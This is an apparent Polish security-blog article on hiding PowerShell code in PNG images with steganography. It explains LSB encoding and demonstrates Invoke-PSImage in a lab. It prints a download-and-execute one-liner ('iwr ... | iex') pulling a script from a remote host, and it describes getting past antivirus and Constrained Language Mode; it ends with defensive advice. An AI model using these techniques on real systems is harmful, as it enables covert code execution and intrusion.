W artykułach Kampanii malware: między innymi w Malware w DNS oraz CertUtil pisaliśmy o ciekawych metodach cyberprzestępców pozwalających im w sposób niezauważalny pobrać i uruchomić złośliwy kod na komputer ofiary. W tym natomiast dokładnie opiszemy i sprawdzimy, jak radzi sobie specjalistyczne oprogramowanie do bezpieczeństwa z metodą cyberprzestepców, w której kod malware (szkodliwego oprogramowania) jest ukrywany w pliku graficznym.


Ukrycie kodu w obrazie?


Wraz z rozwojem technologii teleinformatycznych, przyzwyczailiśmy się do tego, że wirusy komputerowe są przesyłane najczęściej pocztą elektroniczną, rozprzestrzeniają się dzięki podpinanym do komputerów pamięciom masowym (dyski USB) lub jak w ostatnim czasie mogliśmy się przekonać – nawet za pomocą kabla USB. Są też przypadki, że do infekcji komputera wirusem dochodzi na skutek odwiedzenia zainfekowanej strony internetowej. Oczywiście dalej najpopularniejszą drogą dystrybucji złośliwego kodu jest poczta e-mail i atak zwany phishingiem. Należy on do najłatwiejszych sposobów i zarazem najtańszych – dlatego jest tak bardzo lubiany i często wykorzystywany przez spamerów i przestępców.

Zdecydowanie ciekawszą techniką ukrywania i przemycania malware na komputery jest steganografia komputerowa (ang. steganography) – czyli nauka o ukrywaniu komunikacji. Nazwa pochodzi od łacińskiego słowa stegano oznaczającego „ukryte” i w przeciwieństwie do kryptografii, która ukrywa treść tajnej wiadomości, steganografia ukrywa sam fakt, że wiadomość jest przekazywana. Koncepcja steganografii została wprowadzona po raz pierwszy w 1499 roku, ale sama idea istniała już od czasów starożytnych (niewolnicy Imperium Rzymskiego przemycali na wytatuowanych głowach wiadomości, które były następnie odczytywane dopiero po zgoleniu włosów). Ze steganografii korzystali też terroryści przed atakiem na WTC w dniu 11 września 2001 roku. Potwierdzają to amerykańskie źródła, według których do ukrywania komunikacji wykorzystywano obrazy umiejscowione na stronach pornograficznych i sportowych czatach internetowych.

W ostatnim czasie powstało dużo szkodliwego oprogramowania i narzędzi cyberprzestępców używających technik steganografii, dlatego postanowiliśmy jej poświecić ten artykuł i przybliżyć problem.
Wirusy (malware) używające techniki steganografii to między innymi:

  • Microcin;
  • NetTraveler;
  • Zberp;
  • Enfal (z nowym programem ładującym o nazwie Zero.T);
  • Shamoon;
  • KinS;
  • ZeusVM;
  • VawTrak;
  • Triton (Fibbit).

Dla przykładu jeden z wariantów szkodliwego oprogramowania ZeusVM pobiera swoje ustawienia z pliku graficznego przedstawiającego przepiękny krajobraz. Koniec obrazu zawiera zbędne dane, które po odpowiednim odszyfrowaniu stają się plikiem danych konfiguracyjnych.
Inny zaś malware o nazwie VawTRAK ukrywa plik konfiguracyjny w pliku obrazu favicon (plik umieszczony na serwerze, gdzie zlokalizowana jest strona www). Zaobserwowano ostatnio, że ten podstępny bankowy trojan ukrywa swoje ustawienia w pliku ikony witryny internetowej. Obraz favicon.ico jest wyświetlany w przeglądarkach po lewej stronie adresu URL. Niemal każda strona internetowa zawiera teraz obraz favicon.ico, więc oprogramowanie zabezpieczające w firmach widzące taką prośbę z komputera użytkownika o taki plik nigdy nie zwróci uwagi na jego zawartość. Ponadto strony hostingowe Vawtrak’a znajdują się w sieci TOR. Sprawia to, że trudno je zdjąć lub zablokować.

Powyżej wymienione wirusy korzystają z różnych metod i algorytmów steganograficznych. Są to np.: steganografia LSB, dyskretna transformacja kosinusowa lub steganografia oparta na LSB, steganografia obrazu opartego na palecie barw i inne. Przykładowo obraz z wirusem VAWTRAK ukrywa swoje komunikaty za pomocą techniki o nazwie LSB (najmniej znaczące bity). Polega ona na nieznacznym zmienianiu kolorów obrazu w celu zakodowania bitów informacji. Dla przykładu załóżmy, że dany piksel ma kolor zakodowany jako „0,0,0”. Jest to całkowity brak koloru (czyli czysta czerń). Jeśli kodowany kolor zostanie zmieniony na „0,0,1”, piksel będzie zawierał odrobinę informacji i jego kolor stanie się nieco bardziej szarą czernią (która jest niewykrywalna dla ludzkich oczu). Jeśli przełożymy to na wszystkie piksele obrazu, okaże się, że możemy w nim osadzić naprawdę dużo informacji.

Na potrzeby tego artykułu nie testowaliśmy wszystkich metod. Przyjrzeliśmy się dokładnie i przetestowaliśmy tylko jedną z nich – metodę LSB. Pamiętajmy jednak, że zastosowanie steganografii jest znacznie szersze niż ten opisywany powyżej obszar.


Dlaczego twórcy szkodliwego oprogramowania coraz częściej używają steganografii?


Ukrywanie informacji w grafice, czyli steganografia znalazła także swoje zastosowanie w cyberprzestępczości. Powody na to są oczywiste:

  • Steganografia jest obecnie bardzo popularna wśród twórców szkodliwego oprogramowania i programów szpiegujących. Pomaga im ukryć nie tylko same dane, ale także fakt, że dane są przesyłane i pobierane;
  • Pomaga ominąć systemy DPI (ang. Deep Packet Inspection), które są istotne dla systemów korporacyjnych;
  • Wykorzystanie steganografii może pomóc ominąć kontrole bezpieczeństwa monitorowane przez oprogramowanie anty-APT, ponieważ nie jest ono w stanie przetworzyć wszystkich plików obrazów (w sieci korporacyjnej zawiera się ich zbyt dużo, a algorytmy analizy są raczej bardzo drogie i mają spore zapotrzebowanie na moc obliczeniową).
  • Ogólne narzędzia do zwalczania złośliwego oprogramowania, a zwłaszcza narzędzia zabezpieczeń obwodowych (tzw. firewalle), mogą w bardzo niewielkim stopniu współpracować z plikami graficznymi z osadzonym kodem. Takie pliki są bardzo trudne do wykrycia, ponieważ wyglądają jak zwykłe pliki graficzne (lub inne typy plików);
  • Wszystkie dzisiejsze programy do wykrywania steganografii są w zasadzie dowodem koncepcji, a ich logika nie może zostać zaimplementowana w komercyjnych narzędziach bezpieczeństwa, ponieważ byłyby powolne, mają dość niski wskaźnik wykrywania, a czasem nawet zawierają błędy w matematyce użytej do ich implementacji.

Dodatkowo w steganografii nierzadko stosuje się kryptografię, więc informacja może być podwójnie chroniona. Najpierw wiadomość jest szyfrowana a następnie ukrywana w pliku, więc jej odczytanie jest podwójnie trudne.


Jak zatem ukryć kod w obrazie?


W Internecie istnieje mnóstwo bezpłatnych (lepszych lub gorszych) programów do automatycznego osadzania kodu w plikach graficznych, szyfrogramach, plikach audio i wideo własnego tekstu, kodu lub innych plików. W kontekście osadzania złośliwego kodu w pliku graficznym i do celów naszego testu użyliśmy naszym zdaniem najciekawszego i lekko zmodyfikowanego przez nas skryptu PowerShell, którego twórcą jest nijaki peewpw. Dlaczego PowerShell? Ponieważ jest on najpopularniejszym językiem skryptowym używanym przez współczesnych cyberprzestępców oraz jest ogólnie dostępny na komputerach (pisaliśmy o tym tutaj).
Skrypt użytkownika peewpw pobrany z GitHUB posiada zaimplementowaną funkcję Invoke-PSImage, za pomocą, której możemy osadzić dowolny skrypt PowerShell w pikselach pliku *.PNG, a następnie wygenerować komendę wraz z parametrami do późniejszego wywołania.

Uwaga! Skrypt Invoke-PSImage jest wykrywalny przez większość oprogramowania antywirusowego, a także wygenerowany przez niego kod (ten do późniejszego wykonania). Po kilku lekkich modyfikacjach wynikowego kodu byliśmy w stanie ominąć systemy zabezpieczeń.

Lecz nie sam skrypt nas powinien interesować, a jego wynik, czyli obraz oraz kod pozwalający nam później wywołać z obrazka dowolny osadzony w nim skrypt.


Jak działa skrypt Invoke-PSImage?


Zasada działania skryptu Invoke-PSImage jest stosunkowo prosta:

  1. Pobiera na wejściu dowolny skrypt PowerShell i osadza jego bajty w pikselach obrazu w formacie PNG.
  2. Zwraca wynik w postaci linii z kodem skryptu do wykonania zarówno z pliku graficznego PNG umieszczonego lokalnie jak w sieci (jeśli użyjemy flagi -Web).

Warto przy tym dodać, że w procesie osadzania kodu skryptu PowerShell w pliku graficznym modyfikowane są najmniej znaczące 4 bity o 2 wartościach kolorów w każdym pikselu – to w nich przechowywana jest interesująca nas informacja, czyli szkodliwy kod. Sam skrypt Invoke-PSImage może akceptować większość typów obrazów jako dane wejściowe, lecz plik wynikowym będzie zawsze generowany w formacie plik *.PNG, ponieważ w tym przypadku jest on formatem bezstratnym.

W argumentach wywołania skryptu możemy użyć następujących przełączników:

  • -Script [filepath] – ścieżka do skryptu, który ma zostać osadzony w pliku graficznym
  • -Image [filepath] – ścieżka do pliku graficznego, w którym będziemy osadzać skrypt
  • -Out [filepath] – ścieżka i nazwa pliku wynikowego z osadzonym skryptem (plik graficzny będzie w formacie PNG)
  • -Web – zwrócony przez skrypt kod będzie pobierał ładunek z pliku graficznego umieszczonego pod wskazanym adresem URL (nie będzie czytał go z pliku lokalnie)

Kod skryptu Invoke-PSImage wraz z linią kodu jaką zwraca przedstawia poniższy listing:

Kod skryptu Invoke-PSImage

Przyjrzyjmy się bliżej scenariuszowi, w którym sprawdzimy skuteczność zabezpieczeń i prześledzimy cały proces użycia tej techniki.


Scenariusz – zdalne wykonanie kodu ukrytego w obrazie


1. Zakodowanie złośliwego skryptu PowerShell w obrazie PNG

Po krótkiej teorii czas przejść do praktyki. Posłużyliśmy się naszym przykładem, czyli prostym skryptem PowerShell „example.ps1”, który w swoim wnętrzu zawiera wywołanie procesu kalkulatora Windows.

>Start-process calc.exe

“Złośliwa” zawartość skryptu Powershell

Oczywiście w świecie cyberprzestępców kod skryptu będzie na pewno inny i bardziej zaawansowany niż ten stosowany przez nas. Może również zostać zaciemniony (funkcją obfuskacji), żeby jeszcze bardziej utrudnić jego wykrycie przez oprogramowanie antywirusowe.

Abyśmy mogli udanie przygotować plik graficzny ze szkodliwym kodem musimy użyć dedykowanego komputera, na którym nie mamy oprogramowania antywirusowego, ponieważ skrypt Invoke-PSImage jest przez większość ich wykrywany. Skrypt ten jednak nie jest nam potrzebny na komputerze ofiary, lecz jedynie do utworzenie przez niego wynikowego obrazu oraz linijki kodu, za pomocą której będziemy mogli z obrazka pobrać i wykonać nasz „szkodliwy” kod na komputerze ofiary. Dopiero w kolejnym kroku, jak się później przekonamy, kod nie będzie wykrywany przez oprogramowanie antywirusowe, a na tym najbardziej zależy cyberprzestępcom.

2. Przygotowanie pliku graficznego z osadzonym kodem na stacji

W celu utworzenia pliku z naszym skryptem uruchamiającym kalkulator musimy najpierw zaimportować do Poweshell skrypt “Invoke-PSImage.ps1”

PS>Import-Module .\Invoke-PSImage.ps1

Następnie wykonujemy polecenie Powerhell osadzające nasz skrypt w pliku graficznym z informacją pod jakim adresem URL będzie zamieszczony wynikowy plik PNG. Wynikowy plik będzie utworzony lokalnie i będziemy go musieli ręcznie skopiować pod wskazany adres URL.

PS>Invoke-PSImage -Script example.ps1 -Image obraz_kh.jpg -Out obraz_kh.png -Web

Osadzenie kodu skryptu PowerShell w obrazie “obraz_kh.png”

Na końcu wywołania Invoke-PSImage skrypt wygenerował także linijkę kodu odpowiedzialną za pobranie kodu osadzonego skryptu example.ps1 w pikselach obrazu „obraz_kh.png” ze wskazaniem, że obraz będzie znajdował się pod adresem http://strona.com/obraz.png. Oczywiście wartość pola z adresem możemy zamienić na dowolną inną. Ważne, aby była zachowana jego poprawna ścieżka URL do pliku PNG z osadzonym kodem.

Wygenerowana linia kodu PowerShell służaca do pobrania skryptu z pliku PNG umieszczonego na witrynie www.

Poniżej zamieściliśmy porównanie jakości pliku graficznego przed osadzeniem kodu (plik wejściowy) oraz po (plik wynikowy) pokazaliśmy poniżej.

Plik wejściowy “*.JPG”
Plik wynikowy “*.PNG” z osadzonym skryptem PowerShell.

Niestety jak widać powyżej po naszej operacji ucierpiała jakość naszego pliku graficznego, lecz nadal wygląda on przyzwoicie. Wynikowy plik został zapisany w formacie PNG i może być dodatkowo bezstratnie skompresowany bez wpływu na możliwość wykonania ładunku (szkodliwego kodu), ponieważ dane są przechowywane w samych kolorach.

Porównanie rozmiaru pliku wejściowego (rozdzielczość 800×533 pikseli) do wynikowego PNG:

Pamiętajmy, że każdy piksel obrazu jest używany do przechowywania jednego bajtu skryptu. Nietrudno wyliczyć, że w celu osadzenia w nim skryptu będziemy potrzebować obrazu z co najmniej taką samą liczbą pikseli, jak ilość bajtów w skrypcie.

Przelicznik jest bardzo prosty – na przykład do osadzenia słynnego narzędzia hackerskiego Mimikatz w wersji PowerShell „Invoke-Mimikatz” potrzebowalibyśmy obraz w rozdzielczości 1920×1200. W naszym przypadku nie musieliśmy używać aż tak dużego pliku, ponieważ kod skryptu jest bardzo mały.

3. Wykonanie złośliwego skryptu po stronie komputera ofiary

Posiadamy już wygenerowany kod uruchomienia skryptu oraz obraz PNG zawierający osadzony w nim skrypt, który chcielibyśmy wykonać na komputerze.

Umieszczając wynikowy plik PNG pod adresem naszego drugiego serwera http://dc-appeal/obraz_kh.png i wywołując na stacji w PowerShell poniższą linię kodu (zwróconą wcześniej przez funkcję Invoke-PSImage, pozwalającą na pobranie zdalnie z obrazku skryptu i wykonanie go na komputerze) powinniśmy móc uruchomić nasz skrypt z kalkulatorem. Lecz zanim to wykonamy sprawdźmy, jak to wygląda w praktyce i jak zareagują na obrazek oraz wygenerowaną linię kodu różne dostępne na rynku oprogramowania do bezpieczeństwa.

Do tego celu przeskanowaliśmy nasz plik PNG oraz linijkę kodu na portalu VirusTotal, aby mieć szerszy pogląd na różne rozwiązania antywirusowe.

Kod skryptu wynikowego zapisaliśmy do pliku „calc.ps1”. Wynik w VirusTotal (0/57):

Podobnie wynik wygląda przy analizie pliku „obraz_kh.png”:

4. Uruchomienie w niezauważalny sposób dla systemu kodu Powershell

Pozostaje nam kwestia wywołania linijki kodu na stacji roboczej. Tutaj użyliśmy dodatkowych metod i tricków, ponieważ chcieliśmy uruchomić skrypt w zabezpieczonym środowisku z ograniczeniami Powershell, aby pokazać Wam, że nie są one też doskonałe.

UWAGA!
W poniższym przykładzie użyliśmy techniki pozwalającej uruchomić PowerShell’a na komputerze, na którym jest on monitorowany i blokowany przez oprogramowanie do bezpieczeństwa (przykład jak można odpalić PowerShell bez PowerShell opisaliśmy tutaj).
Na komputerze włączony jest także tryb ograniczonego jezyka Powershell (tzw. Constrained Language Mode), który w normalnym wywołaniu Powershell na komputerze ofiary uniemożliwiłby odpalenie skryptu.
Użyliśmy także techniki pozwalającej wywołać zdalnie zobfuskowany (zaciemniony) skrypt umieszczony w pliku.

Stacje na której wykonywaliśmy test to najnowsza wersja Microsoft Windows 10 Professional Build 1809 z włączonym Windows Defender oraz wszystkimi najnowszymi aktualizacjami.

Skonfigurowany PowerShell w trybie ograniczonego języka skryptowego

Odpalamy najpierw Powershell używając specjalnie do tego skonstruowanej biblioteki napisanej w języku .Net. Uruchomiła nam się powłoka Powershell 2.0:

Pokazujemy, że w wywołaniu naszego PowerShell nie mamy ograniczeń:

Pobieramy ze zdalnego serwera komendą „iwr” zawartość skryptu „calc.ps1” (służącego do wywołania skryptu z obrazka w sieci), a następnie wykonujemy polecenie na komputerze komendą IEX. Wszystko przy użyciu jednej komendy:

> . { iwr -useb http://dc-appeal/calc.ps1 } ^| iex;

Poniżej prezentujemy wynik w postaci pomyślnie uruchomionego kalkulatora na komputerze użytkownika. System Windows nie poinformował nas o tym żadnym komunikatem!

Rezultat wykonania złośliwego kodu

Czy jest się czego bać?


Wyobraźmy sobie sytuację, w której użytkownik w firmie klika na link lub uruchamia w pliku MS Office makro (lub link jaki opisaliśmy w naszym artykule vCard), które następnie uruchamia powyższą linijkę kodu „. { iwr -useb http://dc-appeal/calc.ps1 } ^| iex;”. Ponieważ plik PNG z osadzonym skryptem oraz kod Powershell do wykonania polecenia znajdują się na zewnętrznym serwerze nie musimy kopiować niczego na stacje użytkownika.
Z poziomu systemów sieciowych cała operacja wygląda tak jakby użytkownik odwiedzał zwykłą witrynę WWW i oglądał na niej umieszczony plik PNG. Często też obrazki ładują się automatycznie w tle podczas oglądania www. Kto by pomyślał, że taki plik PNG może zawierać złośliwy kod?

Wywołanie skryptu odbywa się w pamięci komputera i nie jest zauważalne przez systemy bezpieczeństwa w tym oprogramowanie antywirusowe. Kod nie zapisuje niczego na dysku komputera. Mamy przypadek, w którym nie jesteśmy w stanie wykryć zagrożenia i jemu zapobiec!


Jak najlepiej się chronić?


Ponieważ w scenariuszu przeprowadzonym w tym artykule użyliśmy wiele zaawansowanych komend i trików ciężko jednoznacznie stwierdzić jakie zabezpieczenia będą tutaj najlepsze.
Na pewno powinniśmy:

  1. Na poziomie sieciowym monitorować podejrzane procesy na komputerach, które łącza się z Internetem i blokować możliwość ich lokalnego uruchomienia oraz ich komunikacji przez sieć. Niestety, ale w przypadku blokowania lokalnie procesów pojawiły się sposoby pozwalające obejść lokalnego antywirusa, o których pisaliśmy na Kapitanie Hacku. Zatem monitoring sieciowy będzie tutaj jak najbardziej zalecany pod warunkiem, że komunikacja sieciowa nie będzie szyfrowana np. SSL/TLS;
  2. Jeśli komunikacja komputer -> Internet jest szyfrowana, warto zaopatrzyć się w dobry deszyfrator ruchu, ponieważ bez niego nie będziemy w stanie rozpoznać jaki proces łączy się z Internetem (tzw. pole User-Agent);
  3. Analiza behawioralna połączeń końcówek z Internetem również może nas wspomóc w poznaniu nietypowych połączeń, lecz musimy zwrócić na nie szczególną uwagę i je indywidualnie badać;
  4. Edukacja użytkowników w organizacjach. Powinni być świadomi w jakie linki klikają w mailach oraz jakie otwierają załączniki. Porady jak zidentyfikować podejrzany mail zamieściliśmy tutaj w kampanii Malware;
  5. Monitorowanie dużych plików PNG. Osadzony kod w pliku zajmuje dużo więcej niż sam obraz;
  6. Stosowanie się do wszelkich zaleceń, które zamieściliśmy na końcu naszego artykułu o DNS&Malware

Podsumowanie


Zagrożenia, które mogą uniknąć wykrycia, należą do najbardziej niebezpiecznych rodzajów, z jakimi mamy dziś do czynienia. Widzimy te cechy w najtrudniejszych kwestiach bezpieczeństwa, takich jak ukierunkowane ataki i exploity typu zero-day. Możliwość pozostania w ukryciu może decydować o sukcesie ataku, czyniąc go czymś, co atakujący nieustannie chcą osiągnąć.

O tym jak zwalczać lub wykrywać zaawansowane techniki malware dowiesz się więcej kontaktując z autorem tego artykułu firmą Appeal oraz z innych artykułów prezentowanych na Kapitanie Hacku.

Polecamy również obejrzenie prezentacji z konferencji BlackHat – link.